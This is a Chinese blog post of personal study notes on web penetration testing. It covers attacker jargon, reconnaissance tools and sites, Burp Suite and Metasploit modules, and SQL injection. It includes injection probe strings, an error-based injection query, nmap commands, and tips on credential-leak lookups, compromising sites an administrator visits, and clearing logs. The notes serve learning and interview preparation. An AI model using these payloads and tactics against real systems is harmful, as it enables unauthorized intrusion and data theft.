Web安全学习总结
本文最后更新于:2023年9月21日 晚上
[TOC]
¶前言:
学习了很多渗透方面的知识,但是本人又不喜欢复习,感觉理论知识非常欠缺(本人记性不好,忘性很大😫😫😫)尤其是自己组织语言,所以这里对知识进行一个大体的系统的总结。
Web渗透
¶一、安全术语(行业黑话)
-
肉鸡:
-
僵尸网络:僵尸网络 Botnet 是指采用一种或多种传播手段,将大量主机感 染病毒,从而在控制者和被感染主机之间所形成的一个可一对多控制的网络僵尸网络是一个非常形象的比喻,众多的计算机在不知不 觉中如同中国古老传说中的僵尸群一样被人驱赶和指挥着,成为被 攻击者执行各类恶意活动(DDOS、垃圾邮件等)利用的一种基础 设施。
-
木马:木马病毒是指隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序。
-
网页木马:伪装成网页文件或直接插入正常的网页文件中,当有人访问或执行时,就会利用对方系统或浏览器的漏洞自动下载木马到访问者的电脑上执行。
-
蠕虫病毒:它是一类相对独立的恶意代码,利用了联网系统的开放性特点,通过可远程利用的漏洞自主地进行传播,受到控制终端会变成攻击的发起方,尝试感染更多的系统。蠕虫病毒的主要特性有:自我复制能力、很强的传播性、潜伏性、特定的触发性、很大的破坏性。
-
震网病毒:名 Stuxnet 病毒,是第一个专门定向攻击真实世界中基础(能源)设施的“蠕虫”病毒,比如核电站,水坝,国家电网。作为世界上首个网络“超级破坏性武器”,Stuxnet 的计算机病毒已经感染了全球超过 45000 个网络,其目标伊朗的铀浓缩设备遭到的攻击最为严重。
-
C2:C2 全称为 Command and Control,命令与控制,常见于 APT 攻击场景中。作动词解释时理解为恶意软件与攻击者进行交互,作名词解释时理解为攻击者的“基础设施”。 供应链攻击是黑客攻击目标机构的合作伙伴,并以该合作伙为跳板,达到渗透目标用户的目的。
-
APT 攻击:Advanced Persistent Threat,即高级可持续威胁攻击,指某组织在网络上对特定对象展开的持续有效的攻击活动。
-
嗅探: 嗅探指窃听网络中流经的数据包,这里的网络一般指用集线器或路由器组建的局域网。通过嗅探并解析数据包,便可知道数据包中的信息,一旦含有账户密码等隐私信息就可能造成个人资金损失。
-
水坑攻击:黑客通过分析被攻击者的网络活动规律,寻找被攻击者经常访问的网站的弱点,先攻下该网站并植入攻击代码,等待被攻击者来访时实施攻击。
-
钓鲸攻击:攻击者针对高层,如首席执行官,首席财务官和首席运营官。钓鲸的目标是经过精心挑选的,因为受害者价值很高,而被盗的信息将比普通员工提供的信息更有价值。钓鲸需要依赖于社交工程,攻击者需要更好地了解目标。
-
鱼叉攻击:鱼叉式攻击是一种较为高级的网络钓鱼攻击手法,针对特定的目标或组织,借助构造特定主题和内容的邮件、短信等第三方媒介,吸引特定目标群体打开链接或下载附件等方式的钓鱼攻击行为。
-
网络钓鱼:在网络钓鱼过程中,攻击者使用诱饵(如电子邮件、手机短信、QQ链接等)将攻击代码发送给大量用户,期待少数安全意识弱的用户“上钩”,进而达到“钓鱼”(如窃取用户的隐私信息)的目的。
-
反弹端口:是指受害者服务器的某一个端口不能访问,我们通过反弹端口的形式,让攻击者能够访问该端口,也叫端口转发
-
DDoS:DDoS攻击一般指分布式拒绝攻击,是一种攻击者操纵大量计算机,或位于不同位置的多个攻击者,在短时间内通过将攻击伪装成大量的合法请求,向服务器资源发动的攻击,导致请求数量超过了服务器的处理能力,造成服务器运行缓慢或者宕机。通常由僵尸网络用于执行此恶意任务,由于攻击的发出点是分布在不同地方的,这类攻击称为分布式拒绝服务攻击。
软件脱壳:壳是用来保护计算机软件不被非法修改或编译的程序; -
缓冲区溢出:指当计算机向缓冲区填充数据时超出了缓冲区本身的容量,溢出的数据覆盖在合法数据上。程序崩溃、导致拒绝服务、
跳转并且执行一段恶意代码。造成缓冲区溢出的主要原因是程序中没有仔细检查用户输入。
-
挂马:
-
挂马攻击是指攻击者在已经获得控制权的网站的网页中嵌入恶意代码(通常是通过IFrame、Script引用来实现),当用户访问该网页时,嵌入的恶意代码利用浏览器本身的漏洞、第三方ActiveX漏洞或者其它插件(如Flash、PDF插件等)漏洞,在用户不知情的情况下下载并执行恶意木马。
-
0/1/N Day 漏洞:
-
后门:
-
攻击载荷(payload):
-
Rootkit:是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。
-
横移:横向移动是网络攻击者使用的一种常见策略,用于在整个网络中旋转,以便访问受害组织的敏感信息和用户信息。
威胁行为者获得公司网络的访问权限后,通常会尝试通过横向移动和侦察收集尽可能多的有关组织的信息,包括关键信息的位置、用户活动、如何获得特权以及如何避免被发现。
-
渗透:
-
跳板:
-
暗链:暗链又叫隐藏链接,指的是正常的链接通过一些方法,如:把链接放入js代码中,使用display:none等等,从而使用户在正常浏览网页的时候无法看到这个链接。暗链是对搜索引擎的一种欺骗,导致搜索引擎的误判,将高权重分配给原本没有价值的网站甚至是钓鱼网站。
-
拖库:拖库本来是数据库领域的术语,指从数据库中导出数据。到了黑客攻击泛滥的今天,它被用来指网站遭到入侵后,黑客窃取其数据库文件,拖库的主要防护手段是数据库加密。
-
CC 攻击(Challenge Collapsar):CC攻击算得上是应用层的DDoS,而且是经过TCP握手协议之后,CC的攻击原理很简单,就是模拟多个用户对一些资源消耗较大的页面不断发出请求,从而达到消耗服务器资源的目的,当服务器一直都有处理不完的大量数据请求时,服务器资源浪费过多,就会造成堵塞,而正常用户的访问也会被终止,网站陷入瘫痪状态。
-
欺骗攻击:网络欺骗的技术主要有:HONEYPOT 和分布式 HONEYPOT、欺骗空间技术等。 主要方式有:IP 欺骗、ARP 欺骗、 DNS 欺骗、Web 欺骗、电子邮件欺骗、源路由欺骗(通过指定路由,以假冒身份与其他主机进行合法通信或发送假报文,使受攻击主机出现错误动作)、地址欺骗(包括伪造源地址和伪造中间站点)等。
-
社会工程学:一种无需依托任何黑客软件,更注重研究人性弱点的黑客手法正在兴起,这就是社会工程学黑客技术。
-
老三样:通常指 IDS、防火墙和反病毒三样历史最悠久安全产品。
-
**堡垒机:**运用各种技术手段监控和记录运维人员对网络内的服务器、网络设备、安全设备、数据库等设备的操作行为,以便集中报警、及时处理及审计定责。数据库审计 能够实时记录网络上的数据库活动,对数据库操作进行细粒度审计的合规性管理,对数据库遭受到的风险行为进行告警,对攻击行为进行阻断。 它通过对用户访问数据库行为的记录、分析和汇报,用来帮助用户事后生成合规报告、事故追根溯源,同时加强内外部数据库网络行为记录,提高数据资产安全。
-
**VPN:**虚拟专用网,在公用网络上建立专用网络,进行加密通讯,通过对数据包的加密和数据包目标地址的转换实现远程访问。
-
蜜罐(Honeypot):是一个包含漏洞的系统,它摸拟一个或多个易受攻击的主机,给黑客提供一个容易攻击的目标。 由于蜜罐没有其它任务需要完成,因此所有连接的尝试都应被视为是可疑的。
-
沙箱:沙箱是一种用于安全的运行程序的机制。它常常用来执行那些非可信的程序。 非可信程序中的恶意代码对系统的影响将会被限制在沙箱内而不会影响到系统的其它部分。
-
沙箱逃逸:一种识别沙箱环境,并利用静默、欺骗等技术,绕过沙箱检测的现象
-
**南北向流量:**通常指数据中心内外部通信所产生的的流量。
-
东西向流量:通常指数据中心内部不同主机之间互相通信所产生的的流量。
¶二、信息收集
当你能够收集足够多的信息,你已经完成了渗透的60%。 ——我说的
**什么是渗透测试:**渗透测试就是通过模拟真实得黑客攻击来检测信息系统得安全性。
**目的:**侵入系统或挖掘漏洞获取机密信息将入侵的过程和细节产生报告提供给用户,由此确定客户系统中所存在的安全威胁,并能够及时提醒安全管理员完善安全策略,降低安全风险。
渗透测试得类型:黑盒测试、白盒测试、灰盒测试
- 黑盒:称功能测试,渗透者完全处于对系统一无所知的状态。完全模拟真实网络环境中的外部攻击者,采用流行的攻击技术与工具进行测试,揭示目标网络中一些已知或未知的安全漏洞。
- 白盒:测试者可以通过正常的渠道向被测单位索要各种资料信息,包括(账户、网站源码、拓扑等信息)这类测试的目的是模拟企业内部雇员的越权操作。
- 灰盒: 是白盒测试和黑盒测试基本类型的组合,它可以提供对目标系统更加深入和全面的安全审查。组合之后的好处就是能够同时发挥两种渗透测试方法的各自优势。
¶Web渗透测试流程
- **获取授权/确认目标:**要有盖章授权书/与客户沟通好渗透测试的范围;
- **信息收集:**从WEB层面/系统层面展开信息搜集;
- **漏洞测试:**使用APPSCAN/AWVS/NESSUS/ xray/nucli/挖掘到漏洞
- **漏洞利用:**利用漏洞获取WebShell(网站后门)
- **权限提升:**www-data --> root / IIS-USER --> System
- **权限维持:**系统后门/…
- **痕迹清理:**WEB攻击日志/系统攻击日志 清楚掉
- **撰写报告:**将攻击过程写道WORD文档提交SRC
¶信息收集内容
¶分类:
主动式信息搜集(可获取到的信息较多,但易被目标发现)
通过直接发起与被测目标网络之间的互动来获取相关信息,如通过Nmap扫描目标系统。
被动式信息搜集(搜集到的信息较少,但不易被发现)
通过第三方服务来获取目标网络相关信息。如通过搜索引擎方式来搜集信息。
¶Web层面
通常来说,平时挖src的时候,最坏的情况就是只能获取一个IP地址,但一般情况下进行渗透测试都会得到一个域名。
-
¶IP反查域名:
Reverse IP Lookup:https://www.yougetsignal.com/tools/web-sites-on-web-server/
-
¶ICP备案:
-
¶Whois信息:
在渗透测试中可通过whois查询我们可以查询到注册商、注册人、邮件、DNS解析服务器、注册人联系电话等信息;
国外的who.is:https://who.is/
站长之家:http://whois.chinaz.com/
爱站网:https://whois.aizhan.com/
微步:https://x.threatbook.cn/
腾讯云:https://whois.cloud.tencent.com/
美橙互联:https://whois.cndns.com/
爱名网:https://www.22.cn/domain/
易名网:https://whois.ename.net/
中国万网:https://whois.aliyun.com/
西部数码:https://whois.west.cn/
新网域名:http://whois.xinnet.com/domain/whois/index.jsp
纳网域名:http://whois.nawang.cn/
中资源域名:https://www.zzy.cn/domain/whois.html
三五互联域名:https://cp.35.com/chinese/whois.php
新网互联域名:http://www.dns.com.cn/show/domain/whois/index.do -
¶子域名信息:
为什么要收集子域呢?假设目标资产数量庞大,一般来说主域都是防护重点,管理上可能会谨慎,防护也相对严格,因此从子域名入手便成了很好的选择,子域往往在防护上会相对更加的松懈,然后再慢慢向目标系统渗透,所以子域名的收集便显得尤为的重要。(中路站了5个人打不过,你还不会从边路偷家?😏)
域名分为根域名和子域名:一般查询子域的时候我们需要知道他的顶级域名。比如baidu.com(没有WWW),但是有时也比较特殊,比如tyut.edu.cn也算是顶级域名。
线上工具:
可以通过网络空间测绘进行搜索;也有专门的网站:
DNSDB:https://dnsdb.io/zh-cn/
在线子域名查询:https://phpinfo.me/domain/
ip或域名查询:https://site.ip138.com/
子域名扫描:https://www.t1h2ua.cn/tools/
Aleax网站:https://alexa.chinaz.com/
securitytrails:https://securitytrails.com/list/apex_domain/www.baidu.com
dns侦测:https://dnsdumpster.com/○ findsubdomains:https://findsubdomains.com/ //好使
○ netcraft:https://searchdns.netcraft.com/ //好使
○ 百度云观测:http://ce.baidu.com/index/getRelatedSites?site_address={domain} //好使
○ hackertarget:https://hackertarget.com/find-dns-host-records/ //好使# 威胁情报平台
AlienVault:https://otx.alienvault.com/
RiskIQ 社区版:https://community.riskiq.com/
微步在线:https://x.threatbook.cn/
ThreatMiner.org:https://www.threatminer.org/domain.php?q={domain}
VT:https://www.virustotal.com/gui/domain/{domain}/relations
Pentest-Tools.com:https://pentest-tools.com/information-gathering/find-subdomains-of-domain#线下工具:
- Layer子域名挖掘机:https://github.com/euphrat1ca/LayerDomainFinder
- OneForAll:https://github.com/shmilylty/OneForAll
- subDomainBrute:https://github.com/lijiejie/subDomainsBrute
- theHarvester(kali自带综合搜索工具)
-
¶旁站/C段 信息
旁注攻击就是说在攻击目标时,对目标网站“无法下手”找不到目标网站的漏洞,那么攻击者就可以通过在与目标站点同一服务器下的站点渗透,从而获取目标站点的权限,这过程就是旁注攻击;
C段指的是同一内网段内的其他服务器
**在线工具:**fofa、shodan等
线下工具:
k8:https://github.com/k8gege/K8CScan(最新版:Ladon https://github.com/k8gege/Ladon)
御剑1.5:
-
¶CMS(Content Management System)
cms识别:
国外识别平台:https://whatcms.org/
国内识别平台:
bugscaner:http://whatweb.bugscaner.com/
whatweb:https://www.whatweb.net/
云悉:https://www.yunsee.cn/
潮汐:http://finger.tidesec.net/
TSscan:https://scan.dyboy.cn/web/线下识别工具:
CMSMap:https://github.com/Dionach/CMSmap
EHole:https://github.com/EdgeSecurityTeam/EHole
CMSeeK:https://github.com/Tuhinshubhra/CMSeeK
Whatweb(kali自带)
插件:
wappalyzer:https://www.wappalyzer.com
whatruns:https://www.whatruns.com/
¶操作系统层面
-
¶OS判断:
-
TTL判断(不准确且可以修改误导)
-
Linux对大小写敏感,windows对大小写不敏感
-
Nmap系统指纹识别
1
2nmap -sS -Pn -O ip
nmap -sS -sV ip
-
-
¶开放端口:
在线端口扫描:http://coolaf.com/tool/port
Nmap扫描
-
¶中间件:
IIS、Apache、Nginx、Tomcat、Weblogic、Jboss、WebSphere、Jetty…
\1. HTTP相应数据包中查看Server字段 * BP抓包 * F12 * curl http://www.baidu.com -i > ip.txt
\2. 根据报错信息判断,访问为存在页面
\3. 根据默认页面判断,“Welcome to nginx”
\4. 通过端口服务探测,Tomcat/Jboss–>8080端口 Weblogic–>7001端口 -
¶数据库
数据库默认端口:
SQl Server --> 1433
MySQL --> 3306
Oracle --> 1521
DB2 --> 5000
PostGreSQL --> 5432
MongoDB --> 27017
Redis --> 6379 -
¶WAF/防火墙识别
Nmap识别:
nmap -p 80,443 --script=http-waf-detect 目标主机
nmap -p 80,443 --script=http-waf-fingerprint 目标主机(精度更高)
Wafw00f:https://github.com/enablesecurity/wafw00f
IdentYwaf:https://github.com/stamparm/identywaf
看图识别WAF:https://mp.weixin.qq.com/s/3uUZKryCufQ_HcuMc8ZgQQ
-
¶CDN识别与验证:
各地ping:
使用各种多地 ping 的服务,查看对应 IP 地址是否唯一,如果不唯一,多半是使用了CDN;
国内在线:
CDN云观测:http://cdn.chinaz.com/
超级ping:http://ping.chinaz.com/
爱站:https://ping.aizhan.com/
17ce:https://www.17ce.com/
国外在线:
cdnplanet:https://www.cdnplanet.com/tools/cdnfinder/
站长工具:http://tool.chinaz.com/speedworld/
ping:http://www.ping.pe/
Nslookup:
使用 nslookup 命令进行检测,原理同ping,如果返回域名解析对应多个 IP 地址多半是使用了 CDN;
¶问题
¶终极问题:你如何进行信息收集?
一般来说进行渗透测试都会拿到目标网站的一个根域名。首先我会根据根域名利用线上和线下工具对目标站点的子域名进行信息收集。线上通过如DNSDB、fofa、shodan、钟馗之眼、微步等进行查询,线下工具会利用Layer子域名挖掘机、oneforall以及kali自带的theHarvester进行子域名收集;然后通过一些工具去收集域名对应的真实IP,可能需要利用一些线上工具进行CDN绕过,拿到真实的IP之后对上面的开发的端口进行,看看都有哪些服务,然后利用dirsearch、wwwscan、御剑等工具对收集到域名进行目录扫描,去发现更多可能存在的路径,比如后台登录或者敏感配置文件路径如.git源码泄露;利用爱站、站长之家、探测一下该站点是否存在旁站,用Nmap、goby去收集真实的ip的c段信息,探测站点的指纹信息,收集一下CMS的版本信息,操作系统是win/linux,后端语言是java还是php等。还有就是收集一些资产信息,通过whois查询查找域名注册人、邮箱、电话等信息,如果可以定位到当前资产对于企业,还可以去企查查、天眼查、爱企查收集更多的关于企业的资产信息,比如该企业下运行的app,微信小程序等。
渗透思路?
零、获取授权
一、信息收集
-
获取域名的 whois 信息 , 获取 注册者 邮箱 姓名 电话 等。
-
通过 DNS 域传送漏洞、备案号查询、SSl 证书、APP反编译、微信公众号、子域名在线查询、子域名挖掘机、DNS 历史记录、K8 C 段查询、Jsfinder、360 或华为威胁情报、证书序列号获取企业域名与 ip。
-
获取ip之后可以通过ping和超级ping的方式查看是否存在cdn和waf, cdn通过ping一个不存在的二级域名或者国外ping可以得到ip , waf的话通过一个叫wafwOOf的python脚本识别 , 然后再针对绕过
-
通过 7KB、破壳扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如 php 探针、管理员备份文件。
-
google hack语法 进一步探测网站的信息,后台,敏感文件
-
敏感信息收集,如 github 源码、用 7kb、扫源代码泄露(.hg、.git、cvs、svn、.DS_store 源代码泄露)、google hack、接口信息泄露、社工信息泄露、邮箱地址信息收集、网盘搜索、钟馗之眼、天眼查、威胁情报、微步在线,js等
-
通过Wappalyzer、御剑工具、云悉指纹 、bugscan在线对网站指纹识别(包括,cms,cdn,证书等)
-
nmap扫描获取端口 , 获取真实ip
-
goby 扫描资产信息
-
通过 Nmap、Wappalyzer、御剑等查看服务器操作系统版本,web 中间件,看看是否存在已知的漏洞,比如 IIS,apache , nginx 的解析漏洞
二、漏洞检测
-
用 AWVS、appscan、长亭科技的 Xray 等扫描器检测 Web 漏洞,如 sql,xss,xxe 注入,代码执行,命令执行,目录读取,任意文件读取,下载,文件包含, 远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等
-
用 namp、天镜、Nessus、极光等扫描系统 ip,对扫描出来的高危漏洞进行漏洞验证,如ms08- 067、ms17-010、ms12-020、ms15-035、ms19-0708、永恒之蓝 2 代、cve-2017-7494(samba)、cve-2014-6271(破壳)、php cgi 等相关漏洞验证。
三、漏洞利用
利用各种nday和常见漏洞拿到 webshell或者其他权限
四、权限提升
windows和linux根据版本号系统漏洞提权,除此之外windows还可以利用计划任务等自启动劫持来提权,如果需要绕过uac可以uac提权,也可以令牌伪造提权;linux一般还可以sudo和suid提权,也可以通过计划任务等启动项劫持提权;
五、权限维持
六、日志清理
操作系统、中间件、数据库等日志进行清除
七、总结报告及修复方案
渗透测试报告一般包含高中危漏洞数量,存在漏洞的地址,漏洞的额复现过程,漏洞导致的危害,修复建议;
敏感信息收集
域名和⼦域名:收集⽬标⽹站的域名和⼦域名信息,可以使⽤WHOIS查询、DNS查找等⼯具。
IP地址和服务器信息:获取⽬标⽹站的IP地址、服务器类型和版本等信息,可以使⽤IP扫描⼯具、端
⼝扫描等⽅法。
⽹站⽬录和⽂件:查找⽹站中隐藏的⽬录和⽂件,包括备份⽂件、配置⽂件等。可以使⽤⽬录爆破⼯
具、Web爬⾍等。
员⼯信息:搜集与⽬标组织相关的员⼯信息,包括姓名、职位、联系⽅式等。可以使⽤搜索引擎、社
交媒体等途径。
敏感⽂件和配置信息:搜索⽹站中可能泄露的敏感⽂件,例如数据库备份、配置⽂件、敏感⽂档等。
可以使⽤搜索引擎、⽂件爆破⼯具等⽅式。
系统漏洞和补丁情况:了解⽬标系统的漏洞和补丁情况,可以使⽤漏洞扫描⼯具、安全公告等资源。
社会⼯程学信息:了解⽬标组织的员⼯、供应商、合作伙伴等信息,包括联系⽅式、社交活动等。可
以通过物理调查、社交媒体等⽅式收集。
在渗透过程中,收集目标站注册人邮箱对我们有什么价值?
丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。用邮箱做关键词进行丢进搜索引擎。
利用搜索到的关联信息找出其他邮进而得到常用社交账号。
社工找出社交账号,里面或许会找出管理员设置密码的习惯 。利用已有信息生成专用字典。
观察管理员常逛哪些非大众性网站,拿下它,你会得到更多好东西
怎么判断一个网站是否存在cdn , 以及绕过绕过方式?
判断cdn
-
通过nslookup可以查看 , 如果存在cdn的话 , 会有cdn的域名
-
通过超级ping , 不同地区如果返回的ip不一样, 说明存在cdn
绕过cdn
-
现在一般cdn都开启了泛域名解析 , 可以通过ping一个不存在的二级域名
-
通过DNS历史查询 , 查询是否存在部署cdn之前的域名解析记录
-
通过ssl证书查询真实ip
-
通过fofa 这种网路空间搜索引擎查询真实IP
-
通过网站的邮件订阅里面查看真实ip
-
通过国外服务器ping对方网站 , 一般不会在国外部署cdn
基础黑客工具的使用
¶BurpSuite
¶Burpsuite常用的模块
DashBoard模块(仪表盘)
Target模块(目标)
Target 组件主要包含站点地图、目标域、Target工具三部分组成,他们帮助渗透测试人员更好地了解目标应用的整体状况、当前的工作涉及哪些目标域、分析可能存在的攻击面等信息
Proxy模块(代理)
是一个拦截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许你拦截,查看,修改在两个方向上的原始数据流。
Intruder模块(入侵):
可配置的工具,对web应用程序进行自动化攻击。此功能有多种用途,如漏洞利用、Web应用程序模糊测试、进行暴力破解等
Repeater模块(重放)
手动操作来触发单独的HTTP请求,并进行应用程序响应的工具。此功能用于根据不同的情况修改和发送相同的请求并分析,通过调整Request的参数,不断尝试,通过Response查看状态。从而节省在浏览器中操作的时间。
Sequencer模块(序列器)
Burp Sequencer是一种用于分析数据样本随机性质量的工具。可以用它测试程序的会话令牌(Session token)、密码重置令牌是否可预测等场景,通过Sequencer的数据样本分析,能够很好的降低这些关键数据被伪造的风险。 (2):Burp Sequencer主要由信息截取(Live Capture)、手动加载(Manual Load)和选项分析(Analysis Options)三个模块组成。 (3):在获取信息后,单击Load按钮加载信息,然后单击"Analyze now"按钮进行分析。
Decoder模块(编码器)
解码器是一个进行手动执行或对应用程序数据者智能解码编码的工具。此功能可用于解码数据找回原来的数据形式,或者进行编码和数据加密。
Comparper模块(对比器)
Burp Comparer在Burp中主要提供一个可视化的差异比对功能,来对比分析两次数据之间的区别,使用的场合有: 枚举用户名的过程,对比分析登录和失败时,服务器端返回结果的区别 使用Intruder进行攻击时,对于不同的服务器端响应,可以很快分析出两次响应的区别在哪里 进行SQL注入的盲注测试时,比较两次响应的差异,判断响应结果与注入条件的关联关系。
(2):使用Comparer时有两个步骤:第一步是加载数据,第二步是差异分析。
(3):Comparer数据加载的常用方式如下: 从其他Burp工具通过上下文菜单转发过来 直接粘贴 从文件里加载。
Extender模块(扩展)
可以让你加载Burp Suit的扩展,使用你自己的或第三方代码来扩展Burp Suit的功能!
Project options(全局参数设置)
在Burp Suite中,存在一些粗粒度的设置,这些设置选项,一旦设置了将会对Burp Suite的整 体产生效果,这就是Options面板。当我们打开Options面板即可看到,它是由 Connections、HTTP、SSL、Sessions、Display、Misc六个选项卡组成。
¶NMAP
可以看我博客的另一篇文章《nmap与sqlmap常用参数》😛
¶SQLMAP
信息收集
1 | |
常规注入
1 | |
Tamper脚本
1 | |
其他参数
1 | |
¶Metasploit之msf模块简介
¶1.Auxiliaries (辅助模块)
该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。
该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。
¶2.Exploit (漏洞利用模块)
漏洞利用是指由渗透测试者利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、Web应用程序攻击,以及利用配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。
¶3.Payload (攻击载荷模块)
攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码,在Metasploit框架中可以自由地选择、传送和植入。攻击载荷也可能是简单地在目标操作系统上执行一些命令,如添加用户账号等。
¶4.Post (后期渗透模块)
该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等。
¶5.Encoders (编码工具模块)(特征被标记烂了)
该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、IDS及类似的安全软件检测出来。
¶问题
BurpSuite如何抓 https 的包?
答:把BP的证书导出 , 然后添加到浏览器信任的根证书机构中
BurpSuite 如何抓外网的包?
答:在用户选项中设置顶级代理(上游代理)
SQL注入
¶基础知识
¶原理
**概念:**SQL注入( SQL injection )是一种将恶意代码插入到程序 SQL 语句中,从而误导数据库执行恶意逻辑的攻击技术。通过 SQL 注入,攻击者可以达到获取敏感信息,窃取访问权限等目的。sql注入属于服务端攻击 , 和操作系统和编程语言无关。
目标站点没有对用户在Web表单递交或输入域名的页面请求的查询字符串进行严格的过滤与验证导致拼接的SQL语句被带入到数据库执行从而获取数据库信息以及接管权限的WEB攻击漏洞!
条件:
- 参数是用户可控的,也就是前端传入后端的参数的内容是用户可以控制的。
- 参数被带入数据库进行查询,也就是传入的参数被拼接到SQL语句中并被带入到数据库进行查询。
¶注入判断
**顺序:**1.注入类型判断
2.闭合方式判断
3.判断是否存在注入
4.注入攻击
类型判断:
区分数字和字符:
id = 1查看页面,默认页面。
id = 2-1,如果它显示的出来的页面和id = 1的页面一样,我们就认为它是数字型。
id = 2-1,如果它显示出来是id = 2的页面,我就认为它是字符型。4
数字型注入:直接判断是否存在注入
字符型注入:使用单引号/双引号
比如存在单引号注入的,在URL后添加一个单引号,页面回报错,因为单引号和前面的单引号闭合了导致语法错误,在再后面跟一个” --“页面恢复正常,因为原本代码中的单引号被注释掉了。
闭合方式判断(字符型)
' " ) ') ") ')) ")) }等
判断是否存在注入
在闭合后与注释前进行逻辑判断,根据页面返回的结果来进行判断是否执行逻辑判断!
判断注入
?id=1’ //报错
?id=1’–+ //正常
?id=1’and 1=1–+ //正常
?id=1’and 1=2–+ //错误
逻辑与 and 1=1 (返回正常页面) --> and 1=2 (返回错误页面,存在注入)
逻辑或 or 1=1 (返回正常页面,存在注入) --> or 1=2 (返回正常页面,存在注入)
逻辑异或 xor 1=1(返回错误页面) --> xor 1=2 (返回正常页面,存在注入)
在闭合后与注释前进行逻辑判断,根据页面返回的结果来进行判断是否执行逻辑判断!
逻辑与 and 1=1 (返回正常页面) --> and 1=2 (返回错误页面,存在注入)
逻辑或 or 1=1 (返回正常页面,存在注入) --> or 1=2 (返回正常页面,存在注入)
逻辑异或 xor 1=1(返回错误页面) --> xor 1=2 (返回正常页面,存在注入)
如果页面都没有变化也可能是存在盲注。
¶注入流程(手工)
充分掌握手工注入方法以便在后续存在WAF的情况下进行绕过,而工具半自动化选择掌握SQLmap能够更有效率的实现Web攻击!
- 判断字段数
1 | |
SQL语言中,order by 是一个常用的排序语句;默认升序(asc,从小到大)也可指定降序(desc,从大到小)
eg:select * from users order by id desc;
Group by 则是进行分组查询数据,其后面跟列名或字段数;
- 确定回显点
1 | |
union select联合查询的执行条件是前面的是false时才会去执行后面的语句,而id=-1不成立为false…
- 查询数据库相关信息
1 | |
- 查询数据库下的表信息
1 | |
- 查询表下的字段信息
1 | |
- 查询字段内容
1 | |
补充:使用 sql 注入遇到转义字符串的单引号或者双引号,可使用 HEX 编码绕过
函数解释:
concat(str1,str2) //没有分隔符的连接字符串
concat_ws(str,str2) //含有分隔符的连接字符串
group_concat(str1,str2) //连接一个组的所有字符串,并以逗号分隔每一条数据
¶SQL注入危害
**● 数据库信息泄露:**泄露数据库中存放的数据,用户隐私等;
**● 获取webshell:**当权限为root且知道绝对路径时,可以直接写入一句话木马到服务器
**● 网页篡改:**注入出后台管理员用户,登录后台发布恶意数据、篡改后台数据等;
**● 网站挂马:**当拿到webshell或者获取到服务器权限后,可将一些网页木马挂在服务器上,去攻击别人;
**● 获取系统权限:**当权限足够高时,可以获取系统主机的权限;
**● 万能密码:**利用特定的payload登录后台或其他页面;
**● 文件读取:**读取敏感文件…;
SQL注入类型
¶基础SQL知识
information_schema库
在Mysql数据库5.0版本之后数据库的作用如下:其中information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等;并且在 MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等;
-
**information_schema:**是MySQL自带的数据库,主要保持MySQL数据库服务器的系统信息,比如数据库的名称,数据库表的名称,字段名称,存储权限等。
三个重要的表:
● information_schema.schemata: 该数据表存储了mysql数据库中 的所有数据库的库名
三个重要字段:
schema_name字段储存的就是数据库的名称(是当前数据库中的 所有数据库名称)。
tables表是用于储存所有表名,其中table_schema:字段是数据 库名称而table_name:字段是表名。
columns 表是储存字段名称,其中table_schema:字段是数据库 名称,而table_name:字段是表名最后column_name:字段是字 段名称。
● information_schema.tables: 该数据表存储了mysql数据库中 的所有数据表的表名
● information_schema.columns: 该数据表存储了mysql数据库中 的所有列的列名 -
**performance_schema:**是MySQL系统自带的数据库,可以用来监控MySQL的各类性能指标。
-
**mysql:**保存MySQL的权限、参数、对象和状态信息。
¶各种注入
¶搜索注入
原理
SQL语句原型:
SELECT * FROM 表名 WHERE 字段名 like '%d%'
like 支持类型
Like主要支持两种通配符,分别是"_“和”%"。
"__"代表匹配1个任意字符,常用于充当占位符;
"%"代表匹配0个或多个任意字符。
实操
在搜索的内容后面添加单引号尝试闭合报错,在从单引号添加模糊匹配的百分号即"%'"在进行闭合成功
?name=hahaha’&submit=搜索 //错误
?name=hahaha%'–+&submit=搜索 //正常
之后的处理方式和普通的联合注入相同,将联合注入语句放在'后。
¶报错注入
原理
报错注入用在数据库的错误信息会回显在网页中的情况,如果联合查询不能使用则首选报错注入;其报错注入利用的是数据库的报错信息得到数据库的内容,且还需要构造语句让数据库报错。
双查询
一个查询语句包含一个查询语句,实际上是报错注入的一种;且需要联合着MYSQL的BUG报错来进行报错注入.
MySQL的BUG
rand() //随机函数 random
floor() //取整数
count() //汇总函数
group by //分组语句
BUG:当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分一错误形式显示出来
select count(*),concat((select user()),(floor(rand() * 2))) as a from information_schema.tables group by a;
报错注入函数
1 | |
extractvalue()函数
